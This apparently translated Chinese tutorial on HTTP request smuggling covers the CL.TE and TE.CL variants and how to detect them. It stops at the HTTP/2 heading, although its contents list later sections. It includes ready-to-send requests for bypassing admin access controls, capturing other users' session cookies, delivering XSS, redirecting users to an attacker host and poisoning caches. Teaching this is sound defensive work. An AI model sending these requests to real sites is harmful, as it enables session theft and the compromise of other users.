HTTP 请求走私 ------ HTTP request smuggling
- [1. 什么是 HTTP 请求走私?](#1. 什么是 HTTP 请求走私?)
- [2. HTTP 请求走私漏洞是如何产生的?](#2. HTTP 请求走私漏洞是如何产生的?)
- [3. 如何执行 HTTP 请求走私攻击](#3. 如何执行 HTTP 请求走私攻击)
- [4. 如何识别和确认 HTTP 请求走私漏洞](#4. 如何识别和确认 HTTP 请求走私漏洞)
-
- [4.1 使用时间技术查找 HTTP 请求走私漏洞](#4.1 使用时间技术查找 HTTP 请求走私漏洞)
- [4.2 使用差异响应确认 HTTP 请求走私漏洞](#4.2 使用差异响应确认 HTTP 请求走私漏洞)
- [5. 利用 HTTP 请求走私漏洞](#5. 利用 HTTP 请求走私漏洞)
-
- [5.1 使用 HTTP 请求走私绕过前端安全控制](#5.1 使用 HTTP 请求走私绕过前端安全控制)
- [5.2 显示前端对请求的重写](#5.2 显示前端对请求的重写)
- [5.3 绕过客户端身份验证](#5.3 绕过客户端身份验证)
- [5.4 捕获其他用户的请求](#5.4 捕获其他用户的请求)
- [5.5 使用 HTTP 请求走私来利用反射型 XSS](#5.5 使用 HTTP 请求走私来利用反射型 XSS)
- [5.6 使用 HTTP 请求走私将站内重定向转变为开放重定向。](#5.6 使用 HTTP 请求走私将站内重定向转变为开放重定向。)
- [5.7 使用 HTTP 请求走私执行 Web 缓存中毒](#5.7 使用 HTTP 请求走私执行 Web 缓存中毒)
- [5.8 使用 HTTP 请求走私执行 Web 缓存欺骗](#5.8 使用 HTTP 请求走私执行 Web 缓存欺骗)
- [6. 高级请求走私](#6. 高级请求走私)
-
- [6.1 HTTP/2 请求走私](#6.1 HTTP/2 请求走私)
-
- [6.1.1 HTTP/2 消息长度](#6.1.1 HTTP/2 消息长度)
- [6.1.2 HTTP/2 降级](#6.1.2 HTTP/2 降级)
- [6.1.3 H2.CL 漏洞](#6.1.3 H2.CL 漏洞)
- [6.1.4 H2.TE 漏洞](#6.1.4 H2.TE 漏洞)
- [6.1.5 HTTP/2 特有的攻击向量](#6.1.5 HTTP/2 特有的攻击向量)
-
- [6.1.5.1 通过 CRLF 注入请求走私](#6.1.5.1 通过 CRLF 注入请求走私)
- [6.1.5.2 通过 Header 名称注入](#6.1.5.2 通过 Header 名称注入)
- [6.1.5.3 通过伪 header 注入](#6.1.5.3 通过伪 header 注入)
- [6.1.5.4 隐藏的 HTTP/2 支持](#6.1.5.4 隐藏的 HTTP/2 支持)
- [6.2 响应队列中毒](#6.2 响应队列中毒)
-
- [6.2.1 响应队列中毒有什么影响?](#6.2.1 响应队列中毒有什么影响?)
- [6.2.2 如何构建响应队列中毒攻击](#6.2.2 如何构建响应队列中毒攻击)
-
- [6.2.2.1 了解请求走私的后果](#6.2.2.1 了解请求走私的后果)
- [6.2.2.2 走私完整请求](#6.2.2.2 走私完整请求)
- [6.2.2.3 取消同步响应队列](#6.2.2.3 取消同步响应队列)
- [6.2.2.4 窃取其他用户的回复](#6.2.2.4 窃取其他用户的回复)
- [6.3 HTTP/2 请求拆分](#6.3 HTTP/2 请求拆分)
-
- [6.3.1 考虑前端重写](#6.3.1 考虑前端重写)
- [6.4 HTTP 请求隧道技术](#6.4 HTTP 请求隧道技术)
-
- [6.4.1 使用 HTTP/2 请求隧道](#6.4.1 使用 HTTP/2 请求隧道)
- [6.4.2 通过 HTTP/2 请求隧道泄露内部标头](#6.4.2 通过 HTTP/2 请求隧道泄露内部标头)
- [6.4.3 盲请求隧道](#6.4.3 盲请求隧道)
- [6.4.4 使用 HEAD 的非盲请求隧道](#6.4.4 使用 HEAD 的非盲请求隧道)
- [6.4.5 通过 HTTP/2 请求隧道进行 Web 缓存中毒](#6.4.5 通过 HTTP/2 请求隧道进行 Web 缓存中毒)
- [7. 浏览器驱动的请求走私](#7. 浏览器驱动的请求走私)
-
- [7.1 CL.0 请求走私](#7.1 CL.0 请求走私)
- [7.2 客户端异步攻击](#7.2 客户端异步攻击)
-
- [7.2.1 什么是客户端异步攻击?](#7.2.1 什么是客户端异步攻击?)
- [7.2.2 测试客户端异步漏洞](#7.2.2 测试客户端异步漏洞)
- [7.2.3 利用客户端异步漏洞](#7.2.3 利用客户端异步漏洞)
-
- [7.2.3.1 经典攻击的客户端变体](#7.2.3.1 经典攻击的客户端变体)
- [7.2.3.2 客户端缓存中毒](#7.2.3.2 客户端缓存中毒)
- [7.2.3.3 针对内部基础设施的旋转攻击](#7.2.3.3 针对内部基础设施的旋转攻击)
- [7.2.3.4 如何防止客户端异步漏洞](#7.2.3.4 如何防止客户端异步漏洞)
- [7.2.4 基于暂停的异步攻击](#7.2.4 基于暂停的异步攻击)
-
- [7.2.4.1 服务器端基于暂停的异步](#7.2.4.1 服务器端基于暂停的异步)
- [7.2.4.2 测试基于暂停的 CL.0 漏洞](#7.2.4.2 测试基于暂停的 CL.0 漏洞)
- [7.2.4.3 客户端基于暂停的异步](#7.2.4.3 客户端基于暂停的异步)
- [8. 如何防止 HTTP 请求走私漏洞](#8. 如何防止 HTTP 请求走私漏洞)
1. 什么是 HTTP 请求走私?
HTTP 请求走私是一种干扰 Web 站点处理从一个或多个用户收到的 HTTP 请求序列的方式的技术。请求走私漏洞本质上通常很关键,允许攻击者绕过安全控制,未经授权访问敏感数据,并直接危害其他应用程序用户。
请求走私主要与 HTTP/1 请求有关。但是,支持 HTTP/2 的网站可能容易受到攻击,具体取决于其后端架构。
HTTP 请求走私攻击会发生什么情况?
当今的 Web 应用程序经常在用户和最终应用程序逻辑之间使用 HTTP 服务器链。用户将请求发送到前端服务器(有时称为负载平衡器或反向代理),该服务器将请求转发到一个或多个后端服务器。这种类型的架构在基于云的现代应用程序中越来越普遍,在某些情况下是不可避免的。
当前端服务器将 HTTP 请求转发到后端服务器时,它通常会在同一个后端网络连接上发送多个请求,因为这样效率更高、性能更好。该协议非常简单;HTTP 请求一个接一个地发送,接收服务器必须确定一个请求在哪里结束,下一个请求在哪里开始:
在这种情况下,前端和后端系统必须就请求之间的边界达成一致,这一点至关重要。否则,攻击者可能会发送一个不明确的请求,该请求被前端和后端系统以不同的方式解释:

在这里,攻击者使他们的前端请求的一部分被后端服务器解释为下一个请求的开始。它实际上被添加到下一个请求的开头,因此可以干扰应用程序处理该请求的方式。这是一种请求走私攻击,并且可能会产生严重的结果。
2. HTTP 请求走私漏洞是如何产生的?
大多数 HTTP 请求走私漏洞的出现是因为 HTTP/1 规范提供了两种不同的方法来指定请求的结束位置:Content-Length
标头和 Transfer-Encoding
标头。
Content-Length
标头非常简单:它指定消息正文的长度(以字节为单位)。例如:
bash
POST /search HTTP/1.1
Host: normal-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
q=smuggling
Transfer-Encoding
标头可用于指定消息正文使用分块编码。这意味着消息正文包含一个或多个数据块。每个块由以字节为单位的块大小(以十六进制表示)、后跟换行符、再后跟块内容组成 。消息以大小为零的块终止。例如:
bash
POST /search HTTP/1.1
Host: normal-website.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
b
q=smuggling
0
注意
许多安全测试人员不知道 HTTP 请求中可以使用分块编码,原因有二:
- Burp Suite 会自动解压缩分块编码,使消息更易于查看和编辑。
- 浏览器通常不会在请求中使用分块编码,通常只在服务器响应中看到。
由于 HTTP/1 规范提供了两种不同的方法来指定 HTTP 消息的长度,因此单个消息有可能同时使用这两种方法,从而导致它们相互冲突。该规范试图通过声明如果同时存在Content-Length
和Transfer-Encoding
标头,则应忽略Content-Length
标头来防止此问题。当只有一个服务器在运行时,这可能足以避免歧义,但当两个或多个服务器链接在一起时则不行。在这种情况下,问题可能出于两个原因而出现:
- 某些服务器不支持请求中的
Transfer-Encoding
标头。 - 如果 Headers 以某种方式被混淆,则可以诱导一些支持
Transfer-Encoding
的服务器不处理它。
如果前端和后端服务器在处理(可能被混淆的)Transfer-Encoding
标头方面表现不同,那么它们可能对连续请求之间的边界存在分歧,从而导致请求走私漏洞。
注意
使用端到端 HTTP/2 的网站本质上对请求走私攻击具有免疫力。由于 HTTP/2 规范引入了一种单一、强大的机制来指定请求的长度,攻击者无法引入所需的模糊性。
然而,许多网站有一个支持 HTTP/2 的前端服务器,但将其部署在仅支持 HTTP/1 的后端基础设施前面。这意味着前端实际上必须将其接收到的请求转换为 HTTP/1。这个过程被称为 HTTP 降级。有关更多信息,请参见高级请求走私。
3. 如何执行 HTTP 请求走私攻击
经典的请求走私攻击包括将 Content-Length
标头和 Transfer-Encoding
标头放入单个 HTTP/1 请求中,并对其进行操作,以便前端和后端服务器以不同的方式处理请求。执行此作的确切方式取决于两个服务器的行为:
- CL.TE:前端服务器使用
Content-Length
标头,后端服务器使用Transfer-Encoding
标头。 - TE.CL:前端服务器使用
Transfer-Encoding
标头,后端服务器使用Content-Length
标头。 - TE.TE:前端和后端服务器都支持
Transfer-Encoding
标头,但可以通过以某种方式混淆标头来诱导其中一台服务器不处理它。
注意
这些技术只能使用 HTTP/1 请求来实现。默认情况下,浏览器和其他客户端(包括 Burp)使用 HTTP/2 与在 TLS 握手期间明确通告支持 HTTP/2 的服务器进行通信。
因此,在测试支持 HTTP/2 的站点时,您需要在 Burp Repeater 中手动切换协议。您可以从 Inspector 面板的 Request attributes (请求属性) 部分执行此作。
3.1 CL.TE 漏洞
在这里,前端服务器使用 Content-Length
标头,后端服务器使用 Transfer-Encoding
标头。我们可以执行一个简单的 HTTP 请求走私攻击,如下所示:
bash
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLED
前端服务器处理 Content-Length
标头,并确定请求正文的长度为 13 字节,直到 SMUGGLED
的末尾。此请求将转发到后端服务器。
后端服务器处理 Transfer-Encoding
标头,因此将消息正文视为使用分块编码。它处理第一个块,该块被声明为零长度,因此被视为终止请求。以下字节 SMUGGLED
未被处理,后端服务器会将这些字节视为序列中下一个请求的开始。
3.2 TE.CL 漏洞
在这里,前端服务器使用 Transfer-Encoding
标头,后端服务器使用 Content-Length
标头。我们可以执行一个简单的 HTTP 请求走私攻击,如下所示:
bash
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 3
Transfer-Encoding: chunked
8
SMUGGLED
0
注意
要使用 Burp Repeater 发送此请求,您首先需要转到 Repeater 菜单并确保未选中 "Update Content-Length" 选项。
您需要在最后的 0
后面包含尾随序列 \r\n\r\n
。
前端服务器处理 Transfer-Encoding
标头,因此将消息正文视为使用分块编码。它处理第一个块,该块的长度为 8 字节,直到 SMUGGLED
后面的行的开头。它处理第二个块,该块表示为零长度,因此被视为终止请求。此请求将转发到后端服务器。
后端服务器处理 Content-Length
标头,并确定请求正文的长度为 3 字节,直到 8
之后的行首。以下字节(以 SMUGGLED
开头)未被处理,后端服务器会将这些字节视为序列中下一个请求的开头。
3.3 TE.TE 行为:混淆 TE 标头
在这里,前端和后端服务器都支持 Transfer-Encoding
标头,但是可以通过以某种方式混淆标头来诱导其中一台服务器不处理它。
可能有无数种方法可以混淆 Transfer-Encoding
标头。例如:
bash
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked
这些技术中的每一种都涉及对 HTTP 规范的微妙偏离。在现实世界中,实现协议规范的代码很少会绝对精确地遵循它,并且不同的实现通常会容忍与规范的不同变化。要发现 TE.TE 漏洞,必须找到"Transfer-Encoding
"(传输编码)标头的某种变体,使得前端或后端服务器中的一个处理它,而另一个服务器忽略它。
根据是前端服务器还是后端服务器可以被诱导不处理混淆后的Transfer-Encoding
标头,攻击的其余部分将与已经描述的 CL.TE 或 TE.CL 漏洞采取相同的形式。
4. 如何识别和确认 HTTP 请求走私漏洞
4.1 使用时间技术查找 HTTP 请求走私漏洞
检测 HTTP 请求走私漏洞的最普遍有效的方法是发送请求,如果存在漏洞,则这些请求将导致应用程序的响应出现时间延迟。Burp Scanner
使用此技术来自动检测请求走私漏洞。
使用时间技术查找 CL.TE 漏洞
如果应用程序容易受到请求走私的 CL.TE 变体的攻击,则发送如下请求通常会导致时间延迟:
bash
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 4
1
A
X
由于前端服务器使用Content-Length
标头,它将仅转发此请求的一部分,省略X
。后端服务器使用Transfer-Encoding
标头,处理第一个数据块,然后等待下一个数据块到达。这将导致可观察到的时间延迟。
使用时间技术查找 TE.CL 漏洞
如果一个应用程序容易受到请求走私的 TE.CL 变体的影响,那么发送如下请求通常会导致时间延迟:
bash
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 6
0
X
由于前端服务器使用 Transfer-Encoding
标头,因此它只会转发此请求的一部分,省略 X
。后端服务器使用 Content-Length
标头,期望消息主体中有更多的内容,并等待剩余内容到达。这将导致可观察的时间延迟。
注意
如果应用程序容易受到漏洞的 CL.TE 变体的攻击,那么基于时间的 TE.CL 漏洞测试可能会干扰其他应用程序用户。因此,为了保持隐蔽并尽量减少干扰,你应该首先使用 CL.TE 测试
,并且仅在第一次测试不成功时才继续进行 TE.CL 测试。
4.2 使用差异响应确认 HTTP 请求走私漏洞
当检测到可能的请求走私漏洞时,您可以通过利用它来触发应用程序响应内容的差异,从而获得该漏洞的进一步证据。这涉及快速连续地向应用程序发送两个请求:
- 一个旨在干扰下一个请求处理的"攻击"请求。
- 一个"正常"请求。
如果对正常请求的响应包含预期的干扰,则确认漏洞。
例如,假设正常请求如下所示:
bash
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
q=smuggling
此请求通常会收到状态代码为 200 的 HTTP 响应,其中包含一些搜索结果。
干扰此请求所需的攻击请求取决于存在的请求走私变体:CL.TE 与 TE.CL。
使用差异响应确认 CL.TE 漏洞
要确认 CL.TE 漏洞,您可以发送如下攻击请求:
bash
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 49
Transfer-Encoding: chunked
e
q=smuggling&x=
0
GET /404 HTTP/1.1
Foo: x
如果攻击成功,那么此请求的最后两行将被后端服务器视为属于接收到的下一个请求。这将使后续的"正常"请求如下所示:
bash
GET /404 HTTP/1.1
Foo: xPOST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
q=smuggling
由于此请求现在包含一个无效的 URL,服务器将以状态码 404 响应,表示攻击请求确实对其造成了干扰。
使用差异响应确认 TE.CL 漏洞
要确认 TE.CL 漏洞,您可以发送如下攻击请求:
bash
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
7c
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 144
x=
0
注意
要使用 Burp Repeater 发送此请求,您首先需要转到 Repeater 菜单并确保未选中"Update Content-Length
"选项。
您需要在最后的 0
后面包含尾随序列 \r\n\r\n
。
如果攻击成功,则后端服务器会将 GET /404 之后的所有内容视为属于收到的下一个请求。这将导致后续的 "normal" 请求如下所示:
bash
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 146
x=
0
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
q=smuggling
由于此请求现在包含无效的 URL,服务器将以状态代码 404 进行响应,这表明攻击请求确实干扰了它。
注意
在尝试通过干扰其他请求来确认请求走私漏洞时,应牢记一些重要的注意事项:
- "attack" 请求和 "normal" 请求应使用不同的网络连接发送到服务器。通过同一连接发送两个请求并不能证明漏洞存在。
- "attack" 请求和 "normal" 请求应尽可能使用相同的 URL 和参数名称。这是因为许多现代应用程序根据 URL 和参数将前端请求路由到不同的后端服务器。使用相同的 URL 和参数会增加请求由同一后端服务器处理的机会,这对于攻击的成功至关重要。
- 在测试 "normal" 请求以检测来自 "attack" 请求的任何干扰时,您将与应用程序同时收到的任何其他请求(包括来自其他用户的请求)竞争。您应该在 "attack" 请求之后立即发送 "normal" 请求。如果应用程序繁忙,您可能需要多次尝试确认漏洞。
- 在某些应用程序中,前端服务器充当负载均衡器,并根据某种负载均衡算法将请求转发到不同的后端系统。如果你的 "attack" 和 "normal" 请求被转发到不同的后端系统,那么攻击就会失败。这是您可能需要多次尝试才能确认漏洞的另一个原因。
- 如果你的攻击成功干扰了后续请求,但这不是你为检测干扰而发送的"正常"请求,那么这意味着另一个应用程序用户受到了你的攻击。如果你继续进行测试,这可能会对其他用户产生破坏性影响,因此你应该谨慎行事。
5. 利用 HTTP 请求走私漏洞
5.1 使用 HTTP 请求走私绕过前端安全控制
在某些应用程序中,前端 Web 服务器用于实现一些安全控制,决定是否允许处理单个请求。允许的请求将转发到后端服务器,在那里它们被视为已通过前端控件。
例如,假设应用程序使用前端服务器实现访问控制限制,仅当用户有权访问请求的 URL 时,才转发请求。然后,后端服务器将接受每个请求,而不进行进一步检查。在这种情况下,HTTP 请求走私漏洞可用于绕过访问控制,方法是将请求走私到受限制的 URL。
假设允许当前用户访问 /home,但不能访问 /admin。他们可以使用以下请求走私攻击来绕过此限制:
bash
POST /home HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 62
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: vulnerable-website.com
Foo: xGET /home HTTP/1.1
Host: vulnerable-website.com
前端服务器在此处看到两个请求,两个请求都是针对 /home
的,因此这些请求被转发到后端服务器。但是,后端服务器会看到一个 /home
请求和一个 /admin
请求。它假定(一如既往)请求已通过前端控件,因此授予对受限 URL 的访问权限。
5.2 显示前端对请求的重写
在许多应用程序中,前端服务器在将请求转发到后端服务器之前会执行一些请求重写,通常是通过添加一些额外的请求标头。例如,前端服务器可能:
- 终止 TLS 连接并添加一些描述所用协议和密码的标头;
- 添加包含用户 IP 地址的
X-Forwarded-For
标头; - 根据用户的会话令牌确定用户的 ID,并添加标识用户的标头;或
- 添加一些对其他攻击有价值的敏感信息。
在某些情况下,如果走私请求缺少一些通常由前端服务器添加的标头,则后端服务器可能无法以正常方式处理这些请求,从而导致走私请求无法产生预期效果。
通常有一种简单的方法可以准确显示前端服务器如何重写请求。为此,您需要执行以下步骤:
- 找到一个 POST 请求,该请求将请求参数的值反映到应用程序的响应中。
- 随机排列参数,以便反射的参数在消息正文中最后显示。
- 将此请求走私到后端服务器,紧接着是一个正常请求,你希望揭示其重写形式。
假设应用程序具有反映 email 参数值的 login 函数:
bash
POST /login HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
email=wiener@normal-user.net
这将生成包含以下内容的响应:
bash
<input id="email" value="wiener@normal-user.net" type="text">
在这里,您可以使用以下请求走私攻击来揭示前端服务器执行的重写:
bash
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Transfer-Encoding: chunked
0
POST /login HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
email=POST /login HTTP/1.1
Host: vulnerable-website.com
...
请求将由前端服务器重写以包含额外的标头,然后后端服务器将处理走私请求,并将重写后的第二个请求视为email参数的值。然后,它将在对第二个请求的响应中回显此值:
bash
<input id="email" value="POST /login HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-For: 1.3.3.7
X-Forwarded-Proto: https
X-TLS-Bits: 128
X-TLS-Cipher: ECDHE-RSA-AES128-GCM-SHA256
X-TLS-Version: TLSv1.2
x-nr-external-service: external
...
注意
由于最终请求正在被重写,你不知道它最终会有多长。走私请求中的Content-Length标头中的值将决定后端服务器认为请求的长度。如果你将此值设置得太短,你将只收到重写请求的一部分;如果你将其设置得太长,后端服务器将超时等待请求完成。当然,解决方案是猜测一个比提交的请求稍大一点的初始值,然后逐渐增加该值以检索更多信息,直到你获得所有感兴趣的内容。
一旦你揭示了前端服务器如何重写请求,你就可以对你走私的请求进行必要的重写,以确保它们被后端服务器以预期的方式处理。
5.3 绕过客户端身份验证
作为 TLS 握手的一部分,服务器通过提供证书向客户端(通常是浏览器)验证自身身份。此证书包含其"通用名"(CN),该名称应与其注册的主机名匹配。然后,客户端可以使用它来验证他们是否正在与属于预期域的合法服务器通信。
一些站点更进一步,实现了一种相互 TLS 身份验证形式,其中客户端还必须向服务器提供证书。在这种情况下,客户端的 CN 通常是用户名或类似的东西,例如,它可以作为访问控制机制的一部分在后端应用程序逻辑中使用。
对客户端进行身份验证的组件通常通过一个或多个非标准 HTTP 标头将相关详细信息从证书传递到应用程序或后端服务器。例如,前端服务器有时会将包含客户端 CN 的标头附加到任何传入请求:
bash
GET /admin HTTP/1.1
Host: normal-website.com
X-SSL-CLIENT-CN: carlos
由于这些标头应该对用户完全隐藏,因此后端服务器通常隐式信任它们。假设你能够发送 Headers 和 Value 的正确组合,这可能使你能够绕过访问控制。
在实践中,此行为通常不可利用,因为前端服务器往往会覆盖这些标头(如果它们已经存在)。但是,走私请求在前端完全隐藏,因此它们包含的任何标头都将原封不动地发送到后端。
bash
POST /example HTTP/1.1
Host: vulnerable-website.com
Content-Type: x-www-form-urlencoded
Content-Length: 64
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
X-SSL-CLIENT-CN: administrator
Foo: x
5.4 捕获其他用户的请求
如果应用程序包含任何类型的功能,允许您存储和稍后检索文本数据,则可能会使用它来捕获其他用户请求的内容。这些可能包括用户提交的会话令牌或其他敏感数据。适合用作这种攻击载体的功能有评论、电子邮件、个人资料描述、屏幕名称等等。
要执行攻击,你需要夹带一个向存储函数提交数据的请求,其中包含要存储的数据的参数在请求中位于最后。例如,假设一个应用程序使用以下请求提交博客文章评论,该评论将被存储并显示在博客上:
bash
POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 154
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO
csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&comment=My+comment&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net
现在考虑一下,如果您走私一个等效请求,其中包含过长的 Content-Length
标头,并且 comment
参数位于请求末尾,如下所示:
bash
GET / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 330
0
POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO
csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net&comment=
走私请求的 Content-Length
标头指示正文长度为 400 字节,但我们只发送了 144 字节。在这种情况下,后端服务器将等待剩余的 256 字节,然后再发出响应,或者如果响应速度不够快,则会发出超时。因此,当通过同一连接将另一个请求发送到后端服务器时,前 256 字节将有效地附加到走私请求中,如下所示:
bash
POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO
csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net&comment=GET / HTTP/1.1
Host: vulnerable-website.com
Cookie: session=jJNLJs2RKpbg9EQ7iWrcfzwaTvMw81Rj
...
由于受害者请求的开头包含在 comment 参数中,因此它将作为评论发布在博客上,让您只需访问相关帖子即可阅读它。
要捕获受害者的更多请求,您只需相应地增加走私请求的 Content-Length
标头的值,但请注意,这将涉及一定量的试验和错误。如果您遇到超时,这可能意味着您指定的 Content-Length
高于受害者请求的实际长度。在这种情况下,只需减小该值,直到攻击再次起作用。
注意
这项技术的一个局限性在于,它通常只会捕获到适用于走私请求的参数分隔符之前的数据。对于 URL 编码的表单提交,这将是&
字符,这意味着从受害用户请求中存储的内容将在第一个&
处结束,该字符甚至可能出现在查询字符串中。
5.5 使用 HTTP 请求走私来利用反射型 XSS
如果应用程序容易受到 HTTP 请求走私的攻击 ,并且还包含反射型 XSS,则可以使用请求走私攻击来攻击应用程序的其他用户。这种方法在两个方面优于对反射型 XSS 的正常利用:
- 它不需要与受害用户进行交互。你无需向他们提供一个 URL 并等待他们访问它。你只需夹带一个包含 XSS 有效载荷的请求,然后下一个由后端服务器处理的用户请求就会被命中。
- 它可用于利用请求中在正常反射型 XSS 攻击中无法轻松控制的部分的 XSS 行为,例如 HTTP 请求标头。
例如,假设应用程序在 User-Agent
标头中具有反射的 XSS 漏洞。您可以在请求走私攻击中利用此漏洞,如下所示:
bash
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 63
Transfer-Encoding: chunked
0
GET / HTTP/1.1
User-Agent: <script>alert(1)</script>
Foo: X
下一个用户的请求将被附加到走私请求中,并且他们将在响应中收到反射型 XSS 有效载荷。
5.6 使用 HTTP 请求走私将站内重定向转变为开放重定向。
许多应用程序执行从一个 URL 到另一个 URL 的现场重定向,并将请求的 Host
标头中的主机名放入重定向 URL 中。这方面的一个示例是 Apache 和 IIS Web 服务器的默认行为,其中对没有尾部斜杠的文件夹的请求会收到指向同一文件夹的重定向,包括尾部斜杠:
bash
GET /home HTTP/1.1
Host: normal-website.com
HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/
此行为通常被认为是无害的,但可以在请求走私攻击中被利用,将其他用户重定向到外部域。例如:
bash
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Transfer-Encoding: chunked
0
GET /home HTTP/1.1
Host: attacker-website.com
Foo: X
走私请求将触发重定向到攻击者的网站,这将影响后端服务器处理的下一个用户的请求。例如:
bash
GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
在这里,用户的请求是获取一个被网站页面导入的 JavaScript 文件。攻击者可以通过在响应中返回他们自己的 JavaScript 来完全控制受害用户。
将相对root的重定向转换为开放的重定向
在某些情况下,您可能会遇到服务器级重定向,这些重定向使用路径为 Location 标头构建根相对 URL,例如:
bash
GET /example HTTP/1.1
Host: normal-website.com
HTTP/1.1 301 Moved Permanently
Location: /example/
如果服务器允许您在路径中使用协议相对 URL,则这可能仍可用于开放重定向:
bash
GET //attacker-website.com/example HTTP/1.1
Host: vulnerable-website.com
HTTP/1.1 301 Moved Permanently
Location: //attacker-website.com/example/
5.7 使用 HTTP 请求走私执行 Web 缓存中毒
在上述攻击的变体中,有可能利用 HTTP 请求走私来执行 Web 缓存中毒攻击。如果前端基础设施的任何部分执行内容缓存(通常是出于性能原因),则可能会使用站外重定向响应来毒害缓存。这将使攻击持续存在,影响随后请求受影响 URL 的任何用户。
在此变体中,攻击者将以下所有内容发送到前端服务器:
bash
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 59
Transfer-Encoding: chunked
0
GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /static/include.js HTTP/1.1
Host: vulnerable-website.com
走私请求到达后端服务器,后端服务器像以前一样使用站外重定向进行响应。前端服务器根据它认为是第二个请求中的 URL(/static/include.js
)缓存此响应:
bash
GET /static/include.js HTTP/1.1
Host: vulnerable-website.com
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
从这时起,当其他用户请求此 URL 时,他们会收到指向攻击者网站的重定向。
5.8 使用 HTTP 请求走私执行 Web 缓存欺骗
在攻击的另一种变体中,您可以利用 HTTP 请求走私来执行 Web 缓存欺骗。其工作方式与 Web 缓存中毒攻击类似,但目的不同。
Web 缓存中毒和 Web 缓存欺骗有什么区别?
- 在 Web 缓存中毒中,攻击者会导致应用程序在缓存中存储一些恶意内容,并将这些内容从缓存提供给其他应用程序用户。
- 在 Web 缓存欺骗中,攻击者使应用程序在缓存中存储一些属于其他用户的敏感内容,然后攻击者从缓存中检索这些内容。
在此变体中,攻击者走私一个请求,该请求返回一些敏感的用户特定内容。例如:
bash
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 43
Transfer-Encoding: chunked
0
GET /private/messages HTTP/1.1
Foo: X
来自另一个用户转发到后端服务器的下一个请求将附加到走私请求中,包括会话 Cookie 和其他标头。例如:
bash
GET /private/messages HTTP/1.1
Foo: XGET /static/some-image.png HTTP/1.1
Host: vulnerable-website.com
Cookie: sessionId=q1jn30m6mqa7nbwsa0bhmbr7ln2vmh7z
...
后端服务器以正常方式响应此请求。请求中的 URL 是针对用户的私信,并且请求在受害用户的会话上下文中进行处理。前端服务器根据它认为的第二个请求中的 URL(即/static/some-image.png
)缓存此响应:
bash
GET /static/some-image.png HTTP/1.1
Host: vulnerable-website.com
HTTP/1.1 200 Ok
...
<h1>Your private messages</h1>
...
然后,攻击者访问静态 URL 并接收从缓存返回的敏感内容。
这里有一个重要的注意事项,即攻击者不知道敏感内容将被缓存到哪个 URL,因为这将是走私请求生效时受害用户恰好正在请求的任何 URL。攻击者可能需要获取大量静态 URL 才能发现被捕获的内容。
6. 高级请求走私
在本节中,还将介绍各种基于 HTTP/2 的攻击,这要归功于 Burp 独特的 HTTP/2 测试功能。
具体而言,将了解:
-
常见的 HTTP/2 实施如何为请求走私提供一系列强大的新向量,使许多以前安全的网站容易受到此类攻击。
-
如何使用请求走私持续毒害响应队列,从而有效地启用全站点接管。
-
如何使用仅适用于 HTTP/2 的输入来构造高严重性漏洞利用,即使目标在前端服务器和后端服务器之间完全不重用连接。
6.1 HTTP/2 请求走私
